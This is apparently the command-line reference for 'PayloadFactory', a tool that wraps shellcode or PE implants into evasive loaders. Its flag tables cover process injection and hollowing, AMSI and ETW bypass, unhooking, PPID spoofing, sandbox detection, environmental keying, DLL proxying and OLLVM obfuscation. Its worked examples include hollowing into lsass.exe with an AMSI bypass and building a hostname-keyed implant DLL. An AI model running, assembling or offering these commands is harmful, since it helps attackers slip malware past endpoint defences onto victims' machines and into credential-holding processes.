Reference
CLI Reference
Every command-line option for PayloadFactory's main.py.
CLI Reference
python main.py <injection> [options]
The first positional argument is the injection technique (required; see Injection Techniques). Exactly one of -s/--shell or -e/--exe is required.
Architecture & target
| Flag | Default | Description |
|---|---|---|
-x86 / -x64 | -x64 | Target architecture (mutually exclusive). |
--os / --target | windows | Target OS: windows or linux. |
-r, --recovery | jumper_randomized | Syscall recovery: embedded, jumper, jumper_randomized, egg_hunter. |
--syscall | stubs | Syscall generation: plain, sysplant, stubs. |
Input
| Flag | Description |
|---|---|
-s, --shell | Raw shellcode file (.bin/.hex/.raw) or object file. Mutually exclusive with -e. |
-e, --exe | Windows PE to convert with donut. Mutually exclusive with -s. |
--args | Arguments to pass to the PE at runtime (with -e). |
-nc | Disable donut compression. |
Targeting
| Flag | Default | Description |
|---|---|---|
-p, --process | explorer.exe | Target process for remote injection. |
-nr, --no-random | off | Disable syscall-name randomization. |
-np, --no-ppid-spoof | off | Disable PPID spoofing. |
-o, --outfile | result.exe | Output binary path. |
Encoding
| Flag | Description |
|---|---|
-w, --word-encode | Store shellcode as an English word list. Mutually exclusive with -x. |
-x, --xor-encode | Store XOR-encrypted shellcode. Mutually exclusive with -w. |
Evasion (Windows-only)
| Flag | Default | Description |
|---|---|---|
--evasion | [] | Pre-execution hooks: etw, amsi, unhook, sleep_obf (repeatable). |
--sandbox | [] | Sandbox checks: cpu, memory, dll, hostname, username, domain, sleep (repeatable). |
--sandbox-hostname | — | Expected value for the hostname check (required with it). |
--sandbox-username | — | Expected value for the username check (required with it). |
--sandbox-domain | — | Expected value for the domain check (required with it). |
Environmental keying (Windows-only)
| Flag | Description |
|---|---|
--key-source | Key source: hostname, domain, username, mac. |
--key-value | Expected value (required when --key-source is set). |
DLL output
| Flag | Description |
|---|---|
--dll | Generate a DLL instead of an EXE. |
--dll-proxy | Path to a legitimate DLL to proxy exports from (implies --dll). |
Compilation & verbosity
| Flag | Description |
|---|---|
--clang | Use clang++ with OLLVM obfuscation instead of g++. |
--debug | Build with the console subsystem and log DEBUG messages. |
--verbose | Log INFO messages (mutually exclusive with --debug). |
Examples
# Local injection, plain encoding, SysPlant syscalls
python main.py current_thread -s sc.bin --syscall sysplant -r jumper_randomized
# Remote hollow into lsass, XOR-encoded, AMSI bypass
python main.py process_hollow -s sc.bin -p lsass.exe -x --evasion amsi
# Convert a PE, proxy a DLL, env-keyed to hostname
python main.py fiber -e implant.exe --dll --dll-proxy /tmp/foo.dll \
--key-source hostname --key-value TARGET-PC
# Linux ptrace injection
python main.py --os linux ptrace_inject -s sc.bin --process bash -o linux_payload